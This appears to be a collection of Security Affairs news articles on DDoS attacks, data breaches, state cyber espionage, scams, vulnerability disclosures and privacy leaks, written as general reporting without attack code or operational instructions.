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Radware DDoS protection solution provider recently discovered a new category of distributed denial-of-service (DDoS) attack, according the experts of the company it is a type of SYN flood dubbed “Tsunami SYN Flood Attack.”, In just 48-hour period the experts of the Radware’s Emergency Response Team (ERT) observed two high-volume attacks targeting in two different continents., The Tsunami SYN-Flood Attack hit an ISP provider and a data center for a gaming company and as explained by the researchers the attacks experienced peeks 4-5 Gbps in attack traffic., The name Tsunami SYN Flood Attack is not casual, experts sustain that it uses about 1,000 bytes per packet, it is an amazing number respect a typical SYN flood attack which uses nearly 40 to 60 bytes per packet., , This kind of DDoS attack exploits TCP protocol instead the UDP, making ineffective the classic methods of defense, as explained Radware in a blog post:, “Normally the SYN package is a simple handshake mechanism with a very low data footprint,” Adrian Crawley, Radware regional director for the UK, said. “It appears that hackers have found a way to add content to it – up to 1,000 bytes, or 25 times more data per handshake. This is allowed based on TCP RFC, but it is not common practice simply to avoid latency during the initial handshake. But because it is allowed by RFC, hackers can add data – this could be any random data – to the application which requested the initial SYN handshake.”, It is likely that threat actors behind the Tsunami SYN Flood attack have used a botnet and Crawley explained how the attack reached the pulses of traffic observed with the following statement:, “An attacker does not have 100 percent control over each machine that generates traffic, so as more “bots” were being accessed in the attack, it could account for the pulses of attack traffic, rather than a constant stream.”, Such kind of attacks could be identified and mitigated using behavioral algorithms:, “Behavioral algorithms are key in both detecting and mitigating these threats, along with implementing a hybrid model of cloud and on-premise mitigation.”, Radware experts suspect that in the next months a growing number of DDoS attacks will be Tsunami SYN Flood attack., Pierluigi Paganini, (Security Affairs –  Tsunami SYN Flood DDoS attack, cybercrime)

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Recently we spoke about the last collection of data disclosed by Wikileaks on NSA massive surveillance, highlighting the cyber espionage operations of the US intelligence against principal security firms and the France politicians, today we will discuss new revelations made by the organizzazione., The latest release of documents reveals an extended economic espionage activity conducted by the NSA in Germany, the spies were particularly interested in the Greek debt crisis. The US intelligence targeted German government representatives due to their privileged position in the negotiations between Greece and the UE., Julian Assange, editor-in-chief at Wikileaks, released the following declaration on Wednesday:, “it further demonstrates that the United States’ economic espionage campaign extends to Germany and to key European institutions and issues such as the European Central Bank and the crisis in Greece.” “Would France and Germany have proceeded with the BRICS bailout plan for Greece if this intelligence was not collected and passed to the United States – who must have been horrified at the geopolitical implications?” , Some of the interceptions are dated classified as highly sensitive and documents were cleared for distribution among the “US-led ‘Five Eyes’ spying alliance of UK, Canada, Australia and New Zealand.“, “The list of high priority targets for Germany are mostly telephone numbers within the finance ministry, some within the ministry of agriculture, a few within offices responsible for European policy, and advisors who assisted Merkel ahead of G7 and WTO meetings. One of the targets was within the European Central Bank itself.” states the DW news., The evolution of the Greek bailout appears as one of the topics of interest for the NSA agents that “intercepted talk between Chancellor Merkel and her assistant, the Chancellor talks about her views on solutions to the Greek financial crisis and her disagreement with members of her own cabinet, such as Finance Minister Wolfgang Schäuble, on matters of policy.”, “The report refers to an overview prepared by German Chancellery Director-General for EU Affairs Nikolaus Meyer-Landrut. Germany was, according to the intercept, opposed to giving a banking license to the European Financial Stability Facility (EFSF), however it would support a special IMF fund into which the BRICS nations would contribute bolster to European bailout activities.” reports Wikileaks, citing documents gathered by the British Intelligence (GCHQ) and shared among the FiveEyes., In time I’m writing the German government still hasn’t officially commented the documents leaked by WikiLeaks., Pierluigi Paganini, (Security Affairs – Wikileaks, NSA)

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Another week starts with a data breach, roughly 800,000 accounts of the porn site Brazzers have been compromised. The data breach affected a separate forum, anyway, Brazzers users who never signed up to the forum may have been impacted., The news was reported by Motherboard who received the dump from the data breach monitoring website Vigilante.pw. The leaked archive includes 928,072 records, 790,724 distinct email addresses, usernames and passwords in plaintext., Motherboard journalists were supported by the popular security expert Troy Hunt to verify the authenticity of the leaked details, he confirmed a number of their details from the data dump belong to Brazzers users., “This matches an incident which occurred in 2012 with our ‘Brazzersforum,’ which was managed by a third party. The incident occurred because of a vulnerability in the said third party software, the ‘vBulletin’ software, and not Brazzers itself.” explained Matt Stevens, a company spokesman. , The company downgraded the extension of the data breach explaining that only a small portion of users were impacted., “That being said, users’ accounts were shared between Brazzers and the ‘Brazzersforum‘ which was created for user convenience. That resulted in a small portion of our user accounts being exposed and we took corrective measures in the days following this incident to protect our users,” Stevens added., There is a strange particular emerged in the story, Motherboard contacted two Brazzers users to verify the authenticity of their data, both confirmed the genuinity of the records, but said that they had not accessed the Brazzersforum., The forum allows Brazzers users to discuss porn content or to suggest new scenarios for future productions., Brazzer forum runs the vBulletin, one of the most popular platforms for web forums. Old vBulletin versions are affected by several vulnerabilities easy to exploit, it is likely that hackers exploited one of them to steal the records., At the time of writing, Brazzersforum is under maintenance., , In response to the data breach Brazzers banned all the inactive accounts present in the dump., “Note that the data provided contains many duplicates and non-functional accounts. We banned all non-active accounts in that list in case those usernames and passwords are re-used in the future,” Matt Stevens, public relations manager from Brazzers, told Motherboard., “Brazzers takes the privacy and safety of its users very seriously,”, Pierluigi Paganini, (Security Affairs – Brazzersforum, data breach)

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Security experts at the Italian Tiger Security firm have spotted a new wave of DDoS attacks that were originated in China and that appear as run by well organized APT. The expert identified the operation with the codename “Operation Distributed Dragons”, the threat actors behind the attacks have the capability to evolve its techniques, tactics, and procedures (TTPs)., As explained by the researchers the methods of infection continuously changes, while it is expanding the perimeter of their physical infrastructure., The bad actors initially targeted Linux servers, but the attacks also involved Windows machines and embedded device with ARM architecture (e.g. Routers and IP cams), in this way the hackers are able to run DDoS attacks that reach traffic peaks of more than 200 Gb/s, without the use of amplification techniques., The Operation Distributed Dragons has already targeted thousand of machines worldwide, Canada, The Netherlands, Hungary and Germany are the countries hosting these greatest number of compromised PCs., , Attacks belonging to the Operation Distributed Dragons are still ongoing and according to the experts the number of new infected machines by the dab actors is increasing rapidly., “The end targets of the campaign are several and range significantly across sectors and include ISPs, Cloud Storage companies and players in leisure and gaming industry.”states the report issued by Tiger Security on the Operation Distributed Dragons., The attack chain is composed of three main steps:, The experts revealed that in many cases DDoS attacks were scheduled at 9pm Beijing time and last for approximately 3 hours with peaks of traffic, even without amplification., The threat actors are specializing their activity on systems and applications that are not subject to continuous checks, updates and upgrades by the administrators and for this reason that are more vulnerable to such kind of attack., Reading the technical details from the report it is possible to note that the threat actor used different backdoor for various websites, including some of the Chinese Government., “These backdoor, ready to be used via web shells – including the famous “China Chopper”, have been inserted by exploiting vulnerabilities, including 0-day type, like the case of dedecms.” states the document., In the following table is reported the list of the vulnerabilities exploited by attackers split by service:, , Who is behind the attacks?, “The objectives of the whole operation, at least at this stage of investigation, seem to be quite inconsistent. In addition, victims appear significantly far apart in terms of business model, sectors and interests. All this seems to suggest that the wave of attacks has been driven by mere economic reasons: this conclusion, if proven wright, seems to support the thesis that cyber-criminals provide a “service” to their “clients” against some sort of reward, probably financial, and can be hired to pursue the specific objectives of their “clients”, as it would happen in any legitimate business.” states the document highlighting the financial nature of the attacks., I have contacted Emanuele Gentili – CoFounder & Partner, Chief Executive Officer of Tiger security to request more info on the operation., Q: The threat actor behind the Operation Distributed Dragons has used public available exploits obtaining a 200 Gbits DDoS. Which is your point of view on these types of emerging threats? , A: Poorly configured machines advantage infections on a large scale, which allow attackers to compose powerful botnet. Very interesting is the extension of the attacks to the Internet of Things devices that lack of effective security settings., Q: You have highlighted previously unpublished references about the tools used by the cyber criminal group behind the Operation Distributed Dragons. Several software used for the C&C appear very different each other despite the malware they control are identical, which is the reason of such differentiation?    A: From our research, we believe that the various software created and used as C&C are the result of continuous improvement over the time. Many control panels appear minimal, other far more advanced in terms of functionality. One of these C&C includes also sophisticated features like a builder for the delivery of infections and the time scheduling of attacks. , Give a look to the report issued by Tiger Security on the Operation Distributed Dragons, it is full of interesting details regarding their investigation., Pierluigi Paganini, (Security Affairs – Operation Distributed Dragons,cybercrime),  

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After WordPress also Google decided to switch on default HTTPS for its free domain service provider Blogspot. The measure will impact millions of users of the popular platform. Since September 2015 Google had introduced HTTPS support for Blogspot domains as an option, now it is announcing the extension to every Blogspot domain blog. The adoption of encryption will provide more security to the end-users, in the recent months, many companies have pushed the security measures, including WhatsApp and Viber., In April WordPress announced that it has partnered with the Let’s Encrypt project in order to offer free HTTPS support for all of its users on WordPress.com blogs, that means over 26% of websites based on the most popular CMSs on the web will be secured (Statistics by W3techs)., “As part of this launch, we’re removing the HTTPS Availability setting. Even if you did not previously turn on this setting, your blogs will have an HTTPS version enabled.” Google informed users. “We’re also adding a new setting called HTTPS Redirect that allows you to opt-in to redirect HTTP requests to HTTPS. While all blogspot blogs will have an HTTPS version enabled, if you turn on this new setting, all visitors will be redirected to the HTTPS version of your blog at  even if they go to  If you choose to turn off this setting, visitors will have two options for viewing your blog: the unencrypted version at  or the encrypted version at  , HTTPS will make impossible for attackers to eavesdrop connections between the user’s browser and web server. The adoption of HTTPS will help visitors to check that they open the correct website and aren’t being redirected to a malicious site, and it helps detect if an attacker tries to change any data sent from Blogger to the visitor., The HTTP version of the blogs will remain accessible by the users anyway, anyway, that can use the new setting called HTTPS Redirect that redirects HTTP requests to HTTPS. Google implemented the technical implementation in order to avoid forcing its users to use the HTTPS and avoid problems with the bloggers., Some blogs on Blogspot, in fact, contains “mixed content” such as images and scripts incompatible with the HTTPS protocol. Google intends to support its bloggers by offering tools and porting services to overwhelm the difficulties related to the migration of this mix content., Pierluigi Paganini, (Security Affairs – Blogspot, HTTPS)

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A Chinese developer, which uses the pseudonym of ramen-hero, discovered that Outlook.com, OneDrive, and Microsoft’s account pages use a unique user identifier known, also known as CID, in their web applications., The Microsoft CID is a 64-bit integer used by the company as a unique identifier for its accounts and it is used in Microsoft APIs for the identification of the users., The Microsoft CID is used as part of the hostname for the location of user data for Outlook.com, Microsoft accounts, and other Live services, it is a portion of the URL that can be viewed by anyone who can monitor/sniff the Internet traffic of a user., The CID is included in all the URLs generated for any access to Outlook.com, OneDrive, or the Microsoft account page, even if the request is made over an HTTPS connection., “When you use a free Microsoft web app such as Outlook.com or OneDrive, or visit your Microsoft account page, an HTTPS request is made to display your profile picture, which seems innocent, until you notice something fishy: a numerical identifier of your account is included in the host name part of the URL, making it visible to anyone who can monitor your DNS traffic (when it’s not cached) or anyone who have access to your web traffic log (e.g., when you use a proxy server).” states the researcher in a blog post., , What does it mean for end users?, The leakage of the Microsoft CID in clear text could allow threat actors to connect the company’s services to retrieve information on the targeted users. The disclosure of the Microsoft CID makes each request visible to anyone that could monitor the DNS traffic. This means that an attacker that share the target’s segment of the network or the ISP can access your requests, the issue is present even if the Microsoft users is browsing through the Tor network, in this case, the CID results visible at the exit node., “As we said in the beginning, when you use one of the free web apps from Microsoft and the host name containing your CID is resolved, the request is visible to anyone who can monitor your DNS traffic.  This includes everyone from your local coffee shop packet sniffers, to your ISP, and eventually to the men and women defending national security at the Internet backbones.  If you use Tor, your CID is visible to the exit node.” continues ramen-hero., The Microsoft CID is visible to attackers even if no DNS lookup is made because it is part of the host name and is sent in clear text during TLS handshake (Server Name Indication (SNI)). Access your CID could very easily, for example, it is enough to share the URL related to a file on OneDrive. This URL generated to share the content contains your CID., Bad news for Microsoft users who linked their accounts with their Skype accounts, threat actors knowing the main alias of a Microsoft account can also obtain the CID using the People app., The CID can be used to retrieve the user’s profile image, and it can also be used via the OneDrive site to retrieve a user’s account display name. The Microsoft CID could be used to access metadata from Microsoft’s Live service, it is possible to access also information about when the account was created or last accessed time. An attacker can also use metadata to retrieve information associated with the Live Calendar application., Microsoft has already started the migration of Outlook.com mailboxes to Exchange Online, which uses a different protocol., “The original web protocols were designed to allow applications to programmatically access public profile items. Non-public items are protected by user controlled authorization. Our recent protocols are more restrictive and over time we will phase out the older versions,” Microsoft’s spokesperson said SecurityWeek.com., “For most users, the simplest workaround is to modify the hosts file to avoid DNS lookups to cid-___.users.storage.live.com (where the blank stands for your CID (in 16-character 0-padded hexadecimal form)).  This won’t help, of course, if you must use a proxy server or make your DNS lookups remotely (as with Tor). ” suggests ramen-hero to mitigate the issue., Pierluigi Paganini, (Security Affairs – Microsoft CID,  privacy)

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Scammers are targeting iPhone and iPad users with a new-old elaborate scheme that relies on iOS crash warnings., Scammers are using JavaScript generated dialogs to display IOS Crash warnings, as explained by the experts at F-Secure,  the IOS Crash Report scam is a variation of the technical support scam., “cases of which have been documented as early as 2008. In the past, cold-calls originated directly from call centers in India. But more recently, web-based lures are used to prompt potential victims into contacting the scammers.” wrote F-Secure., The new fraud scheme going around the English-speaking world, according The Telegraph, iPhone and iPad users in the US and the UK have started getting pop-ups on their devices, informing them the iOS had crashed and that they need to call support in order to fix the problem., The scam was first reported in the US at the end of 2014 and it is still being used across the United Kingdom., Scammers are targeting the Safari browser used by iOS devices, they request victims to call the helpline and pay between $19 (£12) and $80 (£51) to fix the problem., Different payments are requested to users in the UK, they were requested to pay for £20 to fix the crash., Let’s analyze the schema step by step, when browsing users receive a notification warning:, “Warning!! iOS Crash Report!!. Due to a third party application in your device, iOS is crashed. Contact Support for Immediate Fix.”, Some users reported the pop-up caused the freezing of their browser., , The warning displayed on the iOS device gives one of a set of numbers to dial (i.e. 0800 279 6211 and 0800 310 1061). Users in the UK who called the helpline were informed of the presence of a malware on their device that is stealing data, the operators demanded credit card details in order to solve the issue and eliminate the malicious code., In order to fix and block these crash reports, Apple says users should:, The Telegraph wrote:, “To prevent the issue happening again, go to Settings -> Safari -> Block Pop-ups.”, Unfortunately, this suggestion is not correct., “Safari’s “Fraudulent Website Warning” and “Block Pop-ups” features didn’t prevent the page from loading. What looks like a pop-up on the image above is actually a JavaScript generated dialog. One which will continuously re-spawn itself and can be very difficult to dismiss. Turning off JavaScript in Safari is the quickest way to regain control. Unfortunately, leaving JavaScript disabled will significantly impact a large number of legitimate websites.” continues F-Secure., A Google Search returns several live scam web sites containing the text used by fraudsters:, “Due to a third party application in your phone, IOS is crashed.”, Browsing the malicious websites with Google Chrome for Windows:, , “Notice the additional text in the image above: prevent this page from creating additional dialogs. Current versions of Chrome and Firefox (for Windows, at least) will inject this option into re-spawning dialogs, allowing the user to break the loop. Sadly, Internet Explorer and Safari do not. (We tested with IE for Windows / Windows Phone, and iOS Safari.)” explained experts at F-Secure., Please spread this news, awareness on scam could limit the efficiency of the fraudsters’ action. As usual, let me suggest to never give the iCloud credentials, financial information over the phone, neither dial a given number., Users victim of this scam should report it to Action Fraud on 0300 123 2040 or online www.actionfraud.police.uk., Pierluigi Paganini, (Security Affairs – iOS crash warnings, Apple)

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Do you remember the ‘Hack the Pentagon‘ initiative? ‘Hack the Pentagon’ is the initiative launched by the US Government this year to test the resilience to cyber attacks of the US defenses., The Pentagon has launched the first government-funded bug bounty initiative in the world and 1,400 white accepted the challenge., “I am confident that this innovative initiative will strengthen our digital defenses and ultimately enhance our national security,” commented the Defense Secretary Ash Carter., According to the Reuters, the participants are US citizens and were submitted to background checks before being accepted to the Hack the Pentagon program, this is the principal difference with a common bug bounty initiative., The program is being led by the DoD Defense Digital Service, which is a small team of engineers and experts, set up in November 2015,  meant to “improve the Department’s technological agility and solve its most complex IT problems.”, Now the white hacker crew has shared the result of its activity, they have found more than 100 vulnerabilities in Pentagon infrastructure under the bug bounty program. Not so bad if we consider that a threat actor like a foreign government could exploit such kind of flaws to compromise Government networks., , In some cases, the hackers have been rewarded up to $US15,000 for disclosures of the worst vulnerabilities., Highly-sensitive components in the Pentagon infrastructure were not tested by the white hackers recruited by the Government., The US Defense Secretary Ashton Carter told the Defense One conference in Washington DC that the Hack the Pentagon initiative has dropped the cost of vulnerability discovery and of course allowed improving the security of Government infrastructure., “They are helping us to be more secure at a fraction of the cost,” Carter said. “And in a way that enlists the brilliance of the white hatters, rather than waits to learn the lessons of the black hatters.”, “Why hasn’t anybody in the federal government done that?” “There’s not a really good answer to that, right? It’s a pretty successful thing.”, The Secretary Carter also announced the IT giants will join their efforts in order to support the Pentagon in improving the cyber security of its infrastructure., “We’ve got some additional amazing innovators lined up, so stay tuned there also for who else will be joining,” he said., Cybersecurity is a primary goal for the US Government, its infrastructures are under unceasing attacks of hackers and nation-state hackers, let’s think for example to the hack of the Office of Personnel Management systems that resulted in the stolen records of 21.5 million current and former government employees., Stay tuned …, Pierluigi Paganini, Security Affairs –  (Hack the Pentagon, cyber security)

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Putter Panda is the name of bad actor responsible for a series of cyber espionage operations originating in Shanghai, security experts linked its operation to the activity of the People’s Liberation Army 3rd General Staff Department 12th Bureau Unit 61486., A fake yoga brochure was one of different emails used for a spear phishing campaign conducted by the stealth Chinese cyber unit according an investigation conducted by researchers at the CrowdStrike security firm. Also in this case the experts believe that we are facing with a large scale cyber espionage campaign targeting government entities, contractors and research companies in Europe,  USA and Japan., The group has been operating since at least 2007 and appears very interested in research companies in the space and satellite industry, experts at CrowdStrike have collected evidence of a numerous attacks against these industries., CrowdStrike published a new report which blames China for the different  campaigns conducted to steal trade and military secrets and intellectual property from foreign companies., The hacking teams uncovered by CrowdStrike’s forensic experts adopted an efficient strategy to hide their origins by using compromised foreign websites to launch their cyber offensives., The security experts noticed that tools using in various cyber espionage campaigns were developed during working hours in Chinese time zones as explained in the report:, “a build time analysis of all known samples is shown in Figure 1 below, relative to China time. Although this shows that there is some bias in the build time distribution to daylight or working hours in China, which is more significant if a possible three-shift system of hours is considered (0900-1200, 1400-1700, and 2000-2300), this evidence is not conclusive. there is also some evidence that build times are manipulated by the adversary; for example, the sample with Md5 hash bc4e9dad71b844dd3233cfbbb96c1bd3 has a build time of 18 July 2013, but was supposedly first submitted to Virustotal on 9 January 2013. this shows that the attackers – at least in 2013 – were aware of some operational security considerations and were likely taking deliberate steps to hide their origins. “, , The reports attributes to the Putter Panda team cyber attacks against dozens of public and private sector organizations to a group of Chinese state-sponsored hackers, called Putter Panda because they often targeted golf-playing conference attendees., The hackers focus their exploits against popular applications, including Adobe reader and Microsoft Office to serve custom malware through spear phishing attacks., “there are several pieces of evidence to indicate that the activity tracked by Crowdstrike as PUttEr Panda is attributable to a set of actors based in China, operating on behalf of the Chinese People’s liberation army (Pla). specifically, an actor known as cpyy (Chen Ping) appears to have been involved in a number of historical PUttEr Panda campaigns, during which time he was likely working in shanghai within the 12th Bureau, 3rd General staff department (Gsd).” states the report., According to the revelation of official at NSA, more that 20 cyber units belonging to the People’s Liberation Army are involved in cyber espionage campaigns on foreign high tech companies and research group., China and US are exchanging reciprocal accusations for cyber espionage, a couple of weeks ago The Justice Department issued an indictment, which named five PLA members as responsible of espionage against US companies included Alcoa, Westinghouse Electric and the United States Steel Corporation. In response, the Chinese government denied the charges and announced retaliatory measures against US companies in trade with Chinese businesses., The hackers anyway made some curious errors, for example, they registered websites used for the attacks with the same email address they used to register social media accounts., “domains registered by Chen Ping were used to control PUttEr Panda malware. These domains were registered to an address corresponding to the physical location of the Shanghai headquarters of 12th Bureau, specifically Unit 61486. The report illuminates a wide set of tools in use by the actors, including several remote access tools (rats). The rats are used by the PUttEr Panda actors to conduct intelligence-gathering operations with a significant focus on the space technology sector.”, , The PUttEr Panda used several several malicious code, mainly RATs, for their operations, the most common of these are the 4H rat and the 3Para rat that have been already documented in the past by Crowdstrike in previous Crowdstrike Intelligence reports., What to aspect for the future?, As explained by the experts at Crowdstrike, PUttEr Panda is likely to continue to target Western entities searching for highly valuable information and intellectual property., Enjoy the report!, Pierluigi Paganini, (Security Affairs –  Cyber espionage,Putter Panda)  ,

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The United Nations will reveal very soon the results of its investigation on the case of Julian Assange, the Wikileaks founder. WikiLeaks published secret information and classified media from anonymous sources. Wikileaks already published more than 10 million documents, Assange described its platform as “a giant library of the world’s most persecuted documents”, The decision is set to be announced next Friday 4 February, when the US would order the release of Assange., BREAKING: UN set to announce decision on #Assange‘s release on Friday; more pic.twitter.com/t75SbpU8Fp, — WikiLeaks (@wikileaks) 2 Febbraio 2016, , Julian Paul Assange is an Australian journalist that founded Wikileaks in 2006, he is currently residing in the Ecuador embassy in London, after having been granted political asylum in August 2012., Many ignore that Assange has a past as a hacker, in 1987 under the pseudonym Mendax he hacked many organizations with two colleagues known as “Trax” and “Prime Suspect.”, The list of victims is long and includes the Pentagon, the U.S. Navy, NASA, and Australia’s Overseas Telecommunications Commission; Citibank, Lockheed Martin, Motorola, Panasonic, and Xerox., In 1996, he pleaded guilty to twenty-five charges and was ordered to pay reparations of A$2,100 and released on a good behavior bond., Assange has been residing in the embassy since 2012 to avoid extradition, the popular journalist is facing sexual assault allegations in Sweden, meanwhile, the United States ask him to respond the accusation of cyber espionage for publishing classified US military and diplomat documents., On September 2014, Julian Assange filed a complaint against Sweden and the United Kingdom, that has been considered by the UN Working Group on Arbitrary Detention., We have to sit and wait for the decision on the Assanges’ case. If the and if the group will decide that the man is being illegally detained, the UN is expected to call on the UK and Sweden to release him., “IF THE WGAD FINDS IN FAVOUR OF JULIAN ASSANGE — WHAT HAPPENS NEXT?, If the WGAD finds in Julian Assange’s favour, it will declare that Julian Assange is arbitrarily detained. In this case the UK and Sweden must immediately release and compensate him.”, Pierluigi Paganini, (Security Affairs – UN, Wikileaks)

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The Wireshark development team has fixed three serious flaws that could be exploited by a remote unauthenticated attacker to trigger a DoS condition in the world’s most popular network protocol analyzer., The three vulnerabilities tracked as CVE-2018-16056, CVE-2018-16057 and CVE-2018-16058 affect respectively the Bluetooth Attribute Protocol (ATT) dissector, the Radiotap dissector, and the Audio/Video Distribution Transport Protocol (AVDTP) dissector components of Wireshark., A proof-of-concept (PoC) code exploit for each flaw is publicly available, the vulnerabilities are trivial to exploit, an attacker can exploit the vulnerabilities by injecting a malformed packet into a network. The attackers have to trick the victim into opening a malicious packet trace file., “To exploit the vulnerability, the attacker may use misleading language and instructions to convince a user to open a malicious packet trace file.” reads the security advisory published for the CVE-2018-16057 flaw., “To inject malformed packets that the Wireshark application may attempt to parse, the attacker may need access to the trusted, internal network where the targeted system resides. This access requirement may reduce the likelihood of a successful exploit.”, Anyway, to trigger the flaw it is necessary to access to a malicious packet trace file, a circumstance that makes the likelihood of exploitation very low., , Wireshark users need to upgrade their install to one of these: 2.6.3, 2.4.9, or 2.2.17., Below the list of safeguards provided by Cisco in the security advisory:, Pierluigi Paganini, (Security Affairs – Wireshark, DoS)

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The Chinese government has arrested hackers accused of breaking into the Office of Personnel Management databases,, According to The Washington Post, the Chinese government has arrested the hacking crew that breached the Office of Personnel Management (OPM)., “The Chinese government recently arrested a handful of hackers it says were connected to the breach of Office of Personnel Management’s database earlier this year, a mammoth break-in that exposed the records of more than 22 million current and former federal employees.” states The Washington Post. “The arrests took place shortly before a state visit in late September by President Xi Jinping, and U.S. officials say they appear to have been carried out in an effort to lessen tensions with Washington.”, The authorities arrested the suspects prior to Chinese President Xi Jinping’s state visit in the US in September. China and US reached an agreement during Xi’s state visit that established a mutual commitment to suspend all activities of cyber espionage and hacking., , There is no news regarding the identities of the suspects, neither the connection with the Chinese government., The Chinese Government has always denied any involvement with the OPM hack that exposed the personal data of 21.5 million federal employees and others sensitive information., The US Intelligence believes that the OPM hack is the result of a cyber espionage operation conducted by a nation-state actor., “If the individuals detained were indeed the hackers, the arrests would mark the first measure of accountability for what has been characterized as one of the most devastating breaches of U.S. government data in history.” continues the Post., “We don’t know that if the arrests the Chinese purported to have made are the guilty parties,” said one U.S. official, who like others interviewed spoke on condition of anonymity because of the subject’s sensitivity. “There is a history in China of people being arrested for things they didn’t do or other ‘crimes against the state.’ “, The Obama administration announced that it was defining economic sanctions against China as a response to continuous hacking campaigns against government entities and private firms., Is it really the beginning of an effective collaboration?, “I think that China has realized that this is an issue that really matters to the United States, and that if they’re going to continue to manage the relationship with us in a positive way, they had to figure out some way to address our concerns,” an anonymous U.S. official told the Washington Post., Pierluigi Paganini, (Security Affairs – OPM, hacking)

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The former NSA contractor Edward Snowden revealed that the National Security Agency is responsible of  industrial espionage, for year governments are blaming China for cyber espionage and now the popular whistleblower presented an uncomfortable truth to the German television network. Snowden during an interview on the public broadcaster ARD TV revealed the NSA was involved in cyber espionage activities against foreign governments and private companies like the German Siemens. The news is not sensational, in many cases the issued documents have reported the activities of the NSA to spy on foreign politic representatives and media, clamorous are the spy stories on the Chancellor Angela Merkel.  Last week the US President, Barack Obama, commented for Germany’s ZDF TV the case, sustaining that espionage of Mrs Merkel’s mobile phone had been a clamorous mistake and would not happen again., “If there’s information at Siemens that’s beneficial to US national interests – even if it doesn’t have anything to do with national security – then they’ll take that information nevertheless,” said Snowden. , The diffusion of the NSA catalog on tools and exploits used by NSA presaged the possible use of technology, not only for defensive purposes, but also for espionage to steal information such as trade secrets and intellectual property. Snowden remarked that he has no more control on the diffusion of leaked documents from NSA, everything is now managed by a restricted number of trusted journalists. The former intelligence contractor also said that he fears for his life, he is sure that US Intelligence wants to kill him., “There are significant threats but I sleep very well,” “These people, and they are government officials, have said they would love to put a bullet in my head or poison me when I come out of the supermarket and then watch me die in the shower,” Snowden reported referring to a report on a US website. , According Snowden, the NSA is engaged in industrial espionage, it infected computers all over the world after penetrating computer networks with its technology, even if they were disconnected from the internet, the  technology used covert channel of radio waves transmitted from tiny circuit boards and USB cards, as explained in the NSA catalog. The cyber espionage programme has a code name, it is Quantum, it included within the target of espionage, foreign businesses, units of the Chinese military and foreign intelligence officials.  The unique certainty is that Snowden has changed the perception of Intelligence, demonstrating how governments abuse of the technology to collect any kind of information on everything … we are all moving targets., Pierluigi Paganini, (Security Affairs –  Edward Snowden, cyber espionage)

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The sale of stolen credit card data is one of the most prolific activities in the criminal ecosystem, in many black markets it is quite easy to acquire the precious commodities., Today I desire to present you the Central Shop website, a portal dedicated to the sale of credit card data that captures the attention of the experts due to its amazing interface., The first thing that immediately obvious when we access the site is an interactive map that allows visitors to chose the origins of stolen data they are searching for., The possibility to choose the country for the stolen card data is very important for cyber criminals, by acquiring cards related to a specific region and operating the cash out activities in the same area could allow them to circumvent some of the controls implemented by identifying the ongoing fraudulent activities., The same feature has been implemented by other actors in the underground, the popular expert Brian Krebs a couple of years ago reported the commercialization of the card information on the location of stores and point of sales where cards were used., The financial security experts consider the information very precious for the arrangement of scams, the knowledge of the places where the cards were used allows the attackers to choose the points where to use the cards to reduce the risk of detection for the ongoing scam., Location information included in the stolen card data allows buyers to use cloned versions of cards issued to people in their immediate vicinity., “Later, I learned from a fraud expert that this feature is included because it allows customers of the shop to buy cards issued to cardholders that live nearby. This lets crooks who want to use the cards for in-store fraud avoid any knee-jerk fraud defenses in which a financial institution might block transactions that occur outside the legitimate cardholder’s immediate geographic region.” explained Brian Krebs., The same feature was also implemented by operators of the AlphaBay black market, the recently announced a credit card “autoshop.”, By looking in the map it is possible to note that only a small number of countries are not covered, including Russia, Central Asia and Central and East Africa., , The site is available in several languages, such as Russian, English, Spanish and Chinese., Researchers at Motherboard have tested the search function discovering that most of the cards come from the United States (nearly 50,000 cards)., Top 10 countries include also the United Kingdom (48,424 cards), Canada (34,048 cards), and Brazil (22,370 cards)., , The domain was registered in June, but it’s not clear when operators behind Central Shop website started their activities., At the time I’m writing it is no possible to register with the website …. stay tuned, Pierluigi Paganini, (Security Affairs – payment card frauds, Central Shop)

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It’s time of analysis for the past year and forecasts on what will be the main cyber threats for next year, F-Secure Labs proposed the following Top 7 Predictions for 2013:, Reading the list one item appears to be very singular, the possibility that smart TV in our home will be subject of massive cyber attacks next year. We are speaking about smart TV, but as I highlighted yesterday in my article on “intelligent components” that surround us, the problematic is extended to every object that we daily use that is exposed on internet. Massive introduction of technology in our live has dramatically increased our surface of attack, we are all potential targets and what is really scaring is that majority of users totally ignore it. A huge quantity of objects manage our data and personal information, SmartTVs are even more sophisticated devices that interact with humans detecting their presence and that are interconnected with a wide range of technology appliances. SmartTV manage onboard cameras, they are interfaced with our media centers, they dialogue with our console games … they are part of our domestic network, this means that exploiting them it is possible to have access to our “private universe”., The concept of “smart objects” is relatively new and it is proposed to user unprepared on the real risks related to their improper use, the constellation of appliances is born without considering as fundamental the security requirements in the design phase., Why an attacker could be interested to hack our domestic appliance?, The domestic devices such as our smart TV have got network connectivity and are equipped with a meaningful computational capability, they could be attacked for several purposes:, The above examples are just a small introduction to a wide-ranging phenomenon to be taken into account, users have to be instructed on how to manage domestic devices, how to adopt best configuration to avoid a cyber attack, let’s think to the necessity for example to change factory sectoring, well known to the hackers and simply exploitable for an hack, at first use., But the forecast proposed are a smart reading of today’s reality, firmware installed on SmartTV are already vulnerable to cyber attacks and the excellent researchers of ReVuln Ltd., Donato Ferrante and Luigi Auriemma, have demonstrated it. ReVuln Ltd. is a dynamic company specialized in software and hardware assessment including vulnerability research for offensive and defensive security. I personally have great admiration for the work of these professionals that I hope to meet them soon., The security experts posted a video that demonstrates how it is possible to attack a Samsung Smart TV exploiting a 0-day vulnerability to gain root access on it. The hacker could remotely wipe data from attached storage devices, monitoring and controlling the victim TV., Luigi Auriemma said,, “We have tested different Samsung televisions of the latest generations running the latest version of their firmware. Unfortunately we can’t disclose additional information but we can only say that almost all the people having a Samsung TV at home or in their offices are affected by this vulnerability.”., Good … and safe vision, Pierluigi Paganini,  

